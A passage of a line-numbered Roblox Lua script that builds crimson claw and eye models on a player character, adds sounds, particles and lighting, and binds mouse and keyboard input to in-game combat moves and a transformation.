  2529. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2530. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2531. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2532. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2533. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2534. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2535. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2536. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2537. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2538. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2539. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2540. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2541.  
  2542. local modelzorz3=Instance.new("Model")
  2543. modelzorz3.Parent=Character
  2544. modelzorz3.Name="Eye"
  2545.  
  2546. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2547. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2548. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2549. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2550. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2551. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2552. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2553. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2554. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2556. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2557. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2558. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2559. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2560. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2561. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2562. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2563. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2564. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2565. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2566. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2567. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2568. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2569. local moosick = it("Sound",Character)
  2570. moosick.SoundId = "rbxassetid://613035749"
  2571. --142653441, 175067863
  2572. moosick.Looped = true
  2573. moosick.Pitch = 0.9775
  2574. moosick.Volume = 1.5
  2575. moosick:Play()
  2576.  
  2577. anim = Character:findFirstChild("Animate")
  2578. if anim then
  2579. anim:Destroy()
  2580. end
  2581.  
  2582. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2583. particleemitter.VelocitySpread = 180
  2584. particleemitter.Lifetime = NumberRange.new(0.1)
  2585. particleemitter.Speed = NumberRange.new(2)
  2586. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2587. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2588. particleemitter.Rate = 100
  2589. particleemitter.Rotation = NumberRange.new(-45, 45)
  2590. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2591. particleemitter.LightEmission = 0.8
  2592. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2593.  
  2594. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2595. particleemitter.VelocitySpread = 180
  2596. particleemitter.Lifetime = NumberRange.new(0.1)
  2597. particleemitter.Speed = NumberRange.new(2)
  2598. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2599. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2600. particleemitter.Rate = 100
  2601. particleemitter.Rotation = NumberRange.new(-45, 45)
  2602. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2603. particleemitter.LightEmission = 0.8
  2604. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2605.  
  2606. local particleemitter = Instance.new("ParticleEmitter", handle)
  2607. particleemitter.VelocitySpread = 180
  2608. particleemitter.Lifetime = NumberRange.new(0.1)
  2609. particleemitter.Speed = NumberRange.new(2)
  2610. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2611. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2612. particleemitter.Rate = 100
  2613. particleemitter.Rotation = NumberRange.new(-45, 45)
  2614. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2615. particleemitter.LightEmission = 0.8
  2616. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2617.  
  2618. local light = Instance.new("PointLight", Character.Torso)
  2619. light.Color = Color3.new(255,255,255)
  2620. light.Brightness = 5
  2621. light.Range = 15
  2622.  
  2623. particleemitter.Enabled = true
  2624.  
  2625. local Footsteps = it("Sound",Character.Torso)
  2626. Footsteps.SoundId = "rbxassetid://142665235"
  2627. Footsteps.Looped = true
  2628. Footsteps.Pitch = 0.8
  2629. Footsteps.Volume = 0.3
  2630.  
  2631. local Footsteps2 = it("Sound",Character.Torso)
  2632. Footsteps2.SoundId = "rbxassetid://142665235"
  2633. Footsteps2.Looped = true
  2634. Footsteps2.Pitch = 1
  2635. Footsteps2.Volume = 0.4
  2636.  
  2637. local cam = game.Workspace.CurrentCamera
  2638.  
  2639. --cam.CameraSubject = Character
  2640.  
  2641. for i,v in pairs(Head:children()) do
  2642. if v:IsA("Sound") then
  2643. v:Destroy()
  2644. end
  2645. end
  2646.  
  2647. mouse.Button1Down:connect(function()
  2648. if attack==false and attacktype==1 then
  2649. attacktype=2
  2650. attackone()
  2651. elseif attack==false and attacktype==2 then
  2652. attacktype=3
  2653. attacktwo()
  2654. elseif attack==false and attacktype==3 then
  2655. attacktype=4
  2656. attackthree()
  2657. elseif attack==false and attacktype==4 then
  2658. attacktype=1
  2659. attackfour()
  2660. end
  2661. end)
  2662.  
  2663. mouse.KeyDown:connect(function(k)
  2664. k=k:lower()
  2665. if k=='e' then
  2666. if attack==false and mana>=20 then
  2667. Push()
  2668. end
  2669. elseif k=='g' then
  2670. if attack==false and mana>=50 then
  2671. Twirl()
  2672. end
  2673. elseif k=='v' then
  2674. if attack==false and mana>=25 then
  2675. MagicJump()
  2676. end
  2677. elseif k=='c' then
  2678. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2679. attack=true
  2680. for i = 1, 40 do
  2681. swait()
  2682. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2683. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2684. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2685. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2686. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2687. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2688. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2689. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2690. end
  2691. Blaze()
  2692. attack = false
  2693. end
  2694. elseif k=='x' then
  2695. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2696. attack=true
  2697. for i = 1, 15 do
  2698. swait()
  2699. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2700. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2701. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2702. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2703. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2704. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2705. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2706. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2707. end
  2708. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2709. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2710. for i = 0, 30 do
  2711. BlastEffect(BrickColor.new("Crimson"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2712. wait(0.1)
  2713. end
  2714. local parteffected = Instance.new("Part",tors)
  2715. parteffected.Transparency = 1
  2716. parteffected.Position = tors.Position
  2717. parteffected.CanCollide = false
  2718. parteffected.Anchored = true
  2719. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2720. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2721. BlastEffect(BrickColor.new("Crimson"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2722. MagicCircle(BrickColor.new("Crimson"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2723. MagicCircle(BrickColor.new("Crimson"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2724. BlastEffect(BrickColor.new("Crimson"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2725. local sbs = Instance.new("BodyPosition", RootPart)
  2726. sbs.P = 3000
  2727. sbs.D = 1000
  2728. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2729. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2730. for i = 1, 40 do
  2731. swait()
  2732. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2733. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2734. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2735. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2736. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2737. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2738. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2739. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2740. end
  2741. wait(3)
  2742. Blaze2()
  2743. attack = false
  2744. parteffected:Destroy()
  2745. sbs:Destroy()
  2746. end
  2747. elseif k=='q' then
  2748. if attack==false then
  2749. idle=1000
  2750. end
  2751. elseif k=='h' then
  2752. if attack==false then
  2753. mana=100
  2754. end
  2755. elseif k=='y' then
  2756. if attack==false and mana>=100 then
  2757. Shred()
  2758. end
  2759. elseif k=='f' then
  2760. if attack==false and mana>=40 then
  2761. Spin()
  2762. end
  2763. elseif k=='r' then
  2764. if attack==false and mana>=20 then
  2765. Clap()
  2766. end
  2767. elseif k=='t' then
  2768. if attack==false then
  2769. Hai()
  2770. end
  2771. elseif k=='0' then
  2772. if attack==false then
  2773. Humanoid.WalkSpeed=(24)
  2774. end
  2775. elseif k=='j' then
  2776. if attack==false then
  2777. Humanoid.Health = 10
  2778. print("Congrats, you commited suicide.")
  2779. end
  2780. end
  2781. end)
  2782.  
  2783. mouse.KeyDown:connect(function(k)
  2784. if k == "z" and Ultramode == false then
  2785. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2786. attack = true
  2787. for i = 1, 15 do
  2788. swait()
  2789. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2790. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2791. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2792. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2793. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2794. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2795. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2796. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2797. end
  2798. m:Destroy()
  2799. local m = Instance.new("Model", Character)
  2800. m.Name = "WeaponModel"
  2801. local parta = Instance.new("Part",Character)
  2802. parta.Size = vt(10,10,10)
  2803. parta.BrickColor = BrickColor.new("Crimson")
  2804. parta.Material = "Neon"
  2805. parta.Shape = "Ball"
  2806. parta.Transparency = 0
  2807. parta.Anchored = true
  2808. parta.CanCollide = false
  2809. parta.CFrame = tors.CFrame
  2810. Transform()
  2811. parta:Destroy()
  2812.  
  2813. local modelzorzz=Instance.new("Model")
  2814. modelzorzz.Parent=Character
  2815. modelzorzz.Name="Claw1"
  2816.  
  2817. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2818. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2819. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2820. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2821. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2822. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2823. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2824. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2825. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2826. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2827. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2828. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2829. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2830. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2831. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2832. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2833. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2834. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2835. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2836. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2837. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2838. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2839. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2840. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2841. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2842. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2843. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2844. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2845. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2846. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2847. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2848. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2849. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2850. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2851. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2852. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2853. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2854. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2855. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2856. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2857. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2858.  
  2859. local modelzorzz2=Instance.new("Model")
  2860. modelzorzz2.Parent=Character
  2861. modelzorzz2.Name="Claw2"
  2862.  
  2863. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2864. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2865. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2866. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
